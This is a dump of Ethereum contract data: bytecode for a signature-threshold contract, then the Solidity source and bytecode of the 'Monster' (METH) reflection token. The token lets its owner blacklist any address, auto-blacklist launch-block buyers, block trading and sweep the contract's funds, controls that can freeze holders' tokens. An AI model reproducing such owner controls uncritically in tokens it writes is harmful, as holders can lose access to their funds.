40517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105809061138e565b60405180910390fd5b6002600083815260200190815260200160002060009054906101000a900460ff16156105ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e1906113fa565b60405180910390fd5b60008084336040516020016106009291906114a2565b60405160208183030381529060405280519060200120905060005b87879050811015610864576000806000838b013592506020848c01013591506040848c01013560001a90507f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08260001c11156106ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a39061151e565b60405180910390fd5b601b8160ff1610156106c857601b816106c5919061153e565b90505b6000600186838686604051600081526020016040526040516106ed949392919061158e565b6020604051602081039080840390855afa15801561070f573d6000803e3d6000fd5b505050602060405103519050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156107cf57506003600087815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561084c5760016003600088815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508680610848906115d3565b9750505b5050505060418161085d91906115fd565b905061061b565b5060016002600086815260200190815260200160002060006101000a81548160ff02191690831515021790555060008054906101000a900461ffff1661ffff16600060029054906101000a900460ff1660ff166103e88460ff166108c89190611653565b6108d291906116ad565b1192505050949350505050565b60008060009054906101000a900461ffff16905090565b6000848460405160200161090b92919061172a565b6040516020818303038152906040529050600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a0906117b2565b60405180910390fd5b6109b583838387610536565b6109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90611114565b60405180910390fd5b60018060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600281819054906101000a900460ff1680929190610a6a906115d3565b91906101000a81548160ff021916908360ff160217905550507f50999ebf9b59bf3157a58816611976f2d723378ad51457d7b0413209e0cdee598585604051610ab49291906112b9565b60405180910390a15050505050565b6000604051905090565b600080fd5b600080fd5b600061ffff82169050919050565b610aee81610ad7565b8114610af957600080fd5b50565b600081359050610b0b81610ae5565b92915050565b6000819050919050565b610b2481610b11565b8114610b2f57600080fd5b50565b600081359050610b4181610b1b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112610b6c57610b6b610b47565b5b8235905067ffffffffffffffff811115610b8957610b88610b4c565b5b602083019150836001820283011115610ba557610ba4610b51565b5b9250929050565b60008060008060608587031215610bc657610bc5610acd565b5b6000610bd487828801610afc565b9450506020610be587828801610b32565b935050604085013567ffffffffffffffff811115610c0657610c05610ad2565b5b610c1287828801610b56565b925092505092959194509250565b600060208284031215610c3657610c35610acd565b5b6000610c4484828501610b32565b91505092915050565b60008115159050919050565b610c6281610c4d565b82525050565b6000602082019050610c7d6000830184610c59565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610cae82610c83565b9050919050565b610cbe81610ca3565b8114610cc957600080fd5b50565b600081359050610cdb81610cb5565b92915050565b600060208284031215610cf757610cf6610acd565b5b6000610d0584828501610ccc565b91505092915050565b60008060008060608587031215610d2857610d27610acd565b5b6000610d3687828801610ccc565b9450506020610d4787828801610b32565b935050604085013567ffffffffffffffff811115610d6857610d67610ad2565b5b610d7487828801610b56565b925092505092959194509250565b600060ff82169050919050565b610d9881610d82565b82525050565b6000602082019050610db36000830184610d8f565b92915050565b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610e0782610dbe565b810181811067ffffffffffffffff82111715610e2657610e25610dcf565b5b80604052505050565b6000610e39610ac3565b9050610e458282610dfe565b919050565b600067ffffffffffffffff821115610e6557610e64610dcf565b5b610e6e82610dbe565b9050602081019050919050565b82818337600083830152505050565b6000610e9d610e9884610e4a565b610e2f565b905082815260208101848484011115610eb957610eb8610db9565b5b610ec4848285610e7b565b509392505050565b600082601f830112610ee157610ee0610b47565b5b8135610ef1848260208601610e8a565b91505092915050565b60008060008060608587031215610f1457610f13610acd565b5b600085013567ffffffffffffffff811115610f3257610f31610ad2565b5b610f3e87828801610b56565b9450945050602085013567ffffffffffffffff811115610f6157610f60610ad2565b5b610f6d87828801610ecc565b9250506040610f7e87828801610b32565b91505092959194509250565b610f9381610ad7565b82525050565b6000602082019050610fae6000830184610f8a565b92915050565b600082825260208201905092915050565b7f6e6577207468726573686f6c64206f7574736964652072616e67650000000000600082015250565b6000610ffb601b83610fb4565b915061100682610fc5565b602082019050919050565b6000602082019050818103600083015261102a81610fee565b9050919050565b61103a81610b11565b82525050565b7f7365745f7468726573686f6c6400000000000000000000000000000000000000600082015250565b6000611076600d83610fb4565b915061108182611040565b602082019050919050565b60006060820190506110a16000830185610f8a565b6110ae6020830184611031565b81810360408301526110bf81611069565b90509392505050565b7f626164207369676e617475726573000000000000000000000000000000000000600082015250565b60006110fe600e83610fb4565b9150611109826110c8565b602082019050919050565b6000602082019050818103600083015261112d816110f1565b9050919050565b60006040820190506111496000830185610f8a565b6111566020830184611031565b9392505050565b61116681610ca3565b82525050565b7f72656d6f76655f7369676e657200000000000000000000000000000000000000600082015250565b60006111a2600d83610fb4565b91506111ad8261116c565b602082019050919050565b60006060820190506111cd600083018561115d565b6111da6020830184611031565b81810360408301526111eb81611195565b90509392505050565b7f7369676e657220646f65736e2774206578697374000000000000000000000000600082015250565b600061122a601483610fb4565b9150611235826111f4565b602082019050919050565b600060208201905081810360008301526112598161121d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061129a82610d82565b915060008214156112ae576112ad611260565b5b600182039050919050565b60006040820190506112ce600083018561115d565b6112db6020830184611031565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061131c82610b11565b915061132783610b11565b925082611337576113366112e2565b5b828206905092915050565b7f62616420736967206c656e677468000000000000000000000000000000000000600082015250565b6000611378600e83610fb4565b915061138382611342565b602082019050919050565b600060208201905081810360008301526113a78161136b565b9050919050565b7f6e6f6e636520616c726561647920757365640000000000000000000000000000600082015250565b60006113e4601283610fb4565b91506113ef826113ae565b602082019050919050565b60006020820190508181036000830152611413816113d7565b9050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611454578082015181840152602081019050611439565b83811115611463576000848401525b50505050565b60006114748261141a565b61147e8185611425565b935061148e818560208601611436565b61149781610dbe565b840191505092915050565b600060408201905081810360008301526114bc8185611469565b90506114cb602083018461115d565b9392505050565b7f4d616c6c61626c65207369676e6174757265206572726f720000000000000000600082015250565b6000611508601883610fb4565b9150611513826114d2565b602082019050919050565b60006020820190508181036000830152611537816114fb565b9050919050565b600061154982610d82565b915061155483610d82565b92508260ff0382111561156a57611569611260565b5b828201905092915050565b6000819050919050565b61158881611575565b82525050565b60006080820190506115a3600083018761157f565b6115b06020830186610d8f565b6115bd604083018561157f565b6115ca606083018461157f565b95945050505050565b60006115de82610d82565b915060ff8214156115f2576115f1611260565b5b600182019050919050565b600061160882610b11565b915061161383610b11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561164857611647611260565b5b828201905092915050565b600061165e82610b11565b915061166983610b11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156116a2576116a1611260565b5b828202905092915050565b60006116b882610b11565b91506116c383610b11565b9250826116d3576116d26112e2565b5b828204905092915050565b7f6164645f7369676e657200000000000000000000000000000000000000000000600082015250565b6000611714600a83610fb4565b915061171f826116de565b602082019050919050565b600060608201905061173f600083018561115d565b61174c6020830184611031565b818103604083015261175d81611707565b90509392505050565b7f7369676e657220616c7265616479206578697374730000000000000000000000600082015250565b600061179c601583610fb4565b91506117a782611766565b602082019050919050565b600060208201905081810360008301526117cb8161178f565b905091905056fea2646970667358221220fb9265433efee6e553a6ea1fa62168c751c6afcb346f6c8347f5063fc369ece064736f6c63430008080033
{"success": true, "error": null, "results": {}}
3,661
0xd08899d52944582e7c57d2087a8119cabbd6f0d5
/** Tokens Telegram --> https://t.me/monsterERC20 4% Tax. Owners personal chat for larp -> https://t.me/jeetkiller */ pragma solidity 0.8.0; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Token is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isBlacklisted; address[] private _excluded; bool public tradingLive = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Monster"; string private _symbol = "METH"; uint8 private _decimals = 9; address payable private _marketingWallet; address private _burnWallet = 0x000000000000000000000000000000000000dEaD; uint256 public launchBlock; uint256 public _taxFee = 1; uint256 public _liquidityMarketingFee = 4; // 1% Liquidity, 3% Marketing uint256 private _previousTaxFee = _taxFee; uint256 private _totalFees = _liquidityMarketingFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public antiBotLaunch = true; uint256 public _maxTxAmount = _tTotal.mul(1).div(100); // 1% max transaction uint256 public _maxHoldings = _tTotal.mul(1).div(100); // 1% max wallet bool public maxHoldingsEnabled = true; bool public maxTXEnabled = true; bool public antiSnipe = true; uint256 public _routermax = 5000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (address payable _marketingAddress) { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Uni V2 // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _marketingWallet = _marketingAddress; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) external onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) external onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address payable _address) external onlyOwner { _marketingWallet = _address; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount * 10**9; } function setMaxHoldings(uint256 maxHoldings) external onlyOwner() { _maxHoldings = maxHoldings * 10**9; } function setMaxTXEnabled(bool enabled) external onlyOwner() { maxTXEnabled = enabled; } function setMaxHoldingsEnabled(bool enabled) external onlyOwner() { maxHoldingsEnabled = enabled; } function setAntiSnipe(bool enabled) external onlyOwner() { antiSnipe = enabled; } function setSwapThresholdAmount(uint256 routerMax) external onlyOwner() { _routermax = routerMax * 10**9; } function claimETH (address walletaddress) external onlyOwner { // make sure we capture all ETH that may or may not be sent to this contract payable(walletaddress).transfer(address(this).balance); } function claimAltTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function blacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { _isBlacklisted[_address] = false; } function getIsBlacklistedStatus(address _address) external view returns (bool) { return _isBlacklisted[_address]; } function allowtrading() external onlyOwner() { tradingLive = true; launchBlock = block.number; } function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(_taxFee).div(100); uint256 tLiquidity = tAmount.mul(_liquidityMarketingFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function removeAllFee() private { if(_taxFee == 0 && _liquidityMarketingFee == 0) return; _previousTaxFee = _taxFee; _totalFees = _liquidityMarketingFee; _taxFee = 0; _liquidityMarketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityMarketingFee = _totalFees; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(maxTXEnabled){ if(from != owner() && to != owner()){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } } if(antiSnipe){ if(from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ require( tx.origin == to); } } if(maxHoldingsEnabled){ if(from == uniswapV2Pair && from != owner() && to != owner() && to != address(uniswapV2Router) && to != address(this)) { uint balance = balanceOf(to); require(balance.add(amount) <= _maxHoldings); } } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _routermax; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = _routermax; swapAndLiquify(contractTokenBalance); } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint toLiquidity = (contractTokenBalance.div(3)); uint toMarketing = contractTokenBalance.sub(toLiquidity).sub(1); uint toBurn = toLiquidity.div(2); toLiquidity = toLiquidity.sub(toBurn); // burn 50% of tokens going to liq _rOwned[_burnWallet] = _rOwned[_burnWallet].add(toBurn); uint256 half = toLiquidity.div(2); uint256 otherHalf = toLiquidity.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); swapTokensForEth(toMarketing); payable(_marketingWallet).transfer(address(this).balance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { require(!_isBlacklisted[sender] && !_isBlacklisted[recipient]); if(antiBotLaunch){ if(block.number <= launchBlock && sender == uniswapV2Pair && recipient != address(uniswapV2Router) && recipient != address(this)){ _isBlacklisted[recipient] = true; } } if(!tradingLive){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102cd5760003560e01c80635ae9e94b1161017557806395f6f567116100dc578063d00efb2f11610095578063e03ae2bd1161006f578063e03ae2bd146107de578063ea2f0b37146107f3578063ec28438a14610813578063f9f92be414610833576102d4565b8063d00efb2f14610794578063dcebf63b146107a9578063dd62ed3e146107be576102d4565b806395f6f567146106ea578063a457c2d71461070a578063a63342311461072a578063a9059cbb1461073f578063c41ba8101461075f578063c49b9a8014610774576102d4565b80637d1db4a51161012e5780637d1db4a5146106765780637e66c0b91461065657806381a6731a1461068b57806388f82020146106a05780638da5cb5b146106c057806395d89b41146106d5576102d4565b80635ae9e94b146105c15780635d098b38146105e157806370a0823114610601578063715018a614610621578063725e076914610636578063764d72bf14610656576102d4565b8063313ce56711610234578063437823ec116101ed5780634e45e92a116101c75780634e45e92a1461054c57806352390c02146105615780635342acb414610581578063537df3b6146105a1576102d4565b8063437823ec1461050257806349bd5a5e146105225780634a74bb0214610537576102d4565b8063313ce5671461044b5780633685d4191461046d578063395093511461048d5780633b124fe7146104ad5780633f9b7607146104c2578063413550e3146104e2576102d4565b806313114a9d1161028657806313114a9d1461039d5780631694505e146103b257806318160ddd146103d457806323b872dd146103e957806329e04b4a146104095780632d8381191461042b576102d4565b806306fdde03146102d9578063084e4f8a14610304578063095d2d3314610331578063095ea7b31461035357806311704f521461037357806312db001614610388576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b506102ee610853565b6040516102fb9190612ab6565b60405180910390f35b34801561031057600080fd5b5061032461031f3660046128c1565b6108e5565b6040516102fb9190612aab565b34801561033d57600080fd5b50610346610907565b6040516102fb9190612dd6565b34801561035f57600080fd5b5061032461036e366004612971565b61090d565b34801561037f57600080fd5b5061032461092b565b34801561039457600080fd5b50610324610934565b3480156103a957600080fd5b5061034661093d565b3480156103be57600080fd5b506103c7610943565b6040516102fb9190612a43565b3480156103e057600080fd5b50610346610967565b3480156103f557600080fd5b50610324610404366004612931565b61096d565b34801561041557600080fd5b506104296104243660046129e6565b6109f4565b005b34801561043757600080fd5b506103466104463660046129e6565b610a46565b34801561045757600080fd5b50610460610a87565b6040516102fb9190612e65565b34801561047957600080fd5b506104296104883660046128c1565b610a90565b34801561049957600080fd5b506103246104a8366004612971565b610c5b565b3480156104b957600080fd5b50610346610ca9565b3480156104ce57600080fd5b506104296104dd3660046129d4565b610caf565b3480156104ee57600080fd5b506104296104fd36600461299c565b610dde565b34801561050e57600080fd5b5061042961051d3660046128c1565b610e26565b34801561052e57600080fd5b506103c7610e7f565b34801561054357600080fd5b50610324610ea3565b34801561055857600080fd5b50610324610eb1565b34801561056d57600080fd5b5061042961057c3660046128c1565b610ebf565b34801561058d57600080fd5b5061032461059c3660046128c1565b610fed565b3480156105ad57600080fd5b506104296105bc3660046128c1565b61100b565b3480156105cd57600080fd5b506104296105dc3660046129e6565b611061565b3480156105ed57600080fd5b506104296105fc3660046128c1565b6110aa565b34801561060d57600080fd5b5061034661061c3660046128c1565b611107565b34801561062d57600080fd5b50610429611169565b34801561064257600080fd5b5061042961065136600461299c565b6111e8565b34801561066257600080fd5b506104296106713660046128c1565b611239565b34801561068257600080fd5b506103466112a3565b34801561069757600080fd5b506103466112a9565b3480156106ac57600080fd5b506103246106bb3660046128c1565b6112af565b3480156106cc57600080fd5b506103c76112cd565b3480156106e157600080fd5b506102ee6112dc565b3480156106f657600080fd5b5061042961070536600461299c565b6112eb565b34801561071657600080fd5b50610324610725366004612971565b61133a565b34801561073657600080fd5b506104296113a2565b34801561074b57600080fd5b5061032461075a366004612971565b6113ea565b34801561076b57600080fd5b506103246113fe565b34801561078057600080fd5b5061042961078f36600461299c565b61140d565b3480156107a057600080fd5b50610346611490565b3480156107b557600080fd5b50610324611496565b3480156107ca57600080fd5b506103466107d93660046128f9565b6114a5565b3480156107ea57600080fd5b506103466114d0565b3480156107ff57600080fd5b5061042961080e3660046128c1565b6114d6565b34801561081f57600080fd5b5061042961082e3660046129e6565b61152c565b34801561083f57600080fd5b5061042961084e3660046128c1565b611575565b6060600d805461086290612ee1565b80601f016020809104026020016040519081016040528092919081815260200182805461088e90612ee1565b80156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b5050505050905090565b6001600160a01b03811660009081526007602052604090205460ff165b919050565b60185481565b600061092161091a611655565b8484611659565b5060015b92915050565b60095460ff1681565b60195460ff1681565b600c5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600a5490565b600061097a84848461170d565b6109ea84610986611655565b6109e585604051806060016040528060288152602001612f74602891396001600160a01b038a166000908152600460205260408120906109c4611655565b6001600160a01b031681526020810191909152604001600020549190611aa4565b611659565b5060019392505050565b6109fc611655565b6000546001600160a01b03908116911614610a325760405162461bcd60e51b8152600401610a2990612ccf565b60405180910390fd5b610a4081633b9aca00612eab565b601a5550565b6000600b54821115610a6a5760405162461bcd60e51b8152600401610a2990612b4c565b6000610a74611ade565b9050610a808382611613565b9392505050565b600f5460ff1690565b610a98611655565b6000546001600160a01b03908116911614610ac55760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03811660009081526006602052604090205460ff16610afd5760405162461bcd60e51b8152600401610a2990612c0f565b60005b600854811015610c5757816001600160a01b031660088281548110610b3557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c45